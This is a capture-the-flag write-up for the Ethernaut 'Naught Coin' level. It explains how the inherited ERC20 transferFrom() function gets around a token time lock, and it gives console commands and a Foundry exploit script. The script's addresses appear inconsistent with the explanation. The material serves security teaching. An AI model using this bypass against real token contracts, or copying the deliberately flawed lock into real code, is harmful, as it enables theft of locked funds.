The Ethernaut CTF Solutions | 15 - Naught Coin
Smart Contract Loopholes: Exploiting Inheritance in ERC20 Tokens
Goals
The contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(
address _to,
uint256 _value
) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
The hack
The NaughtCoin level is a bit weird as it is hard to imagine that anything like this would ever be implemented. However, it teaches us a valuable lesson about the importance of correctly implementing inherited functions.
We can see that the transfer()
function has a lockTokens
modifier.
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
So it looks like we won't be able to use the transfer()
function to transfer the tokens to another address. But in the ERC20 standard, there is also a transferFrom()
function, which allows another address to execute a transfer on our behalf if approved.
Since the transferFrom()
function is not implemented in the NaughtCoin contract, its implementation will be the one defined in the OpenZeppelin contract, without the lockTokens
modifier.
In other words, we can use the transferFrom()
function to transfer the tokens to another address without worrying about the time lock. We simply have to approve the address that will perform the transfer on our behalf first.
Solution
In the browser's console
- Let's find out how many tokens you have:
const balance = await contract.balanceOf(player);
- Approve another address to transfer the tokens for us:
await contract.approve("TheFutureCoinOwner", balance);
- Transfer the tokens to another address using the
transferFrom()
function:
await contract.transferFrom(player, "TheFutureCoinOwner", balance);
With Foundry using forge
:
The deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
interface INaughtCoin {
function balanceOf(address _owner) external view returns (uint256);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool);
}
contract PoC is Script {
// Replace with your NaughtCoin instance
INaughtCoin naughty =
INaughtCoin(0xC595d7C946910835637D23F231441700Be6A25F8);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
address futurCoinOwner = 0x1234567890AbcdEF1234567890aBcdef12345678;
uint balance = naughty.balanceOf(futurCoinOwner);
console2.log("Current balance: ", balance);
naughty.approve(futurCoinOwner, balance);
naughty.transferFrom(futurCoinOwner, address(naughty), balance);
console2.log("New balance is: ", naughty.balanceOf(futurCoinOwner));
vm.stopBroadcast();
}
}
Don't forget to edit the futurCoinOwner
address in the script/15_NaughtCoin.s.sol
file above!
address futurCoinOwner = "your wallet address here";
Then run this script with the following command:
forge script script/15_NaughtCoin.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
- Always be careful when inheriting from other contracts. And make sure to implement the inherited functions correctly.
Reference
- The Seneca hack & non implemented
pause()
function: https://rekt.news/seneca-protocol-rekt/
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/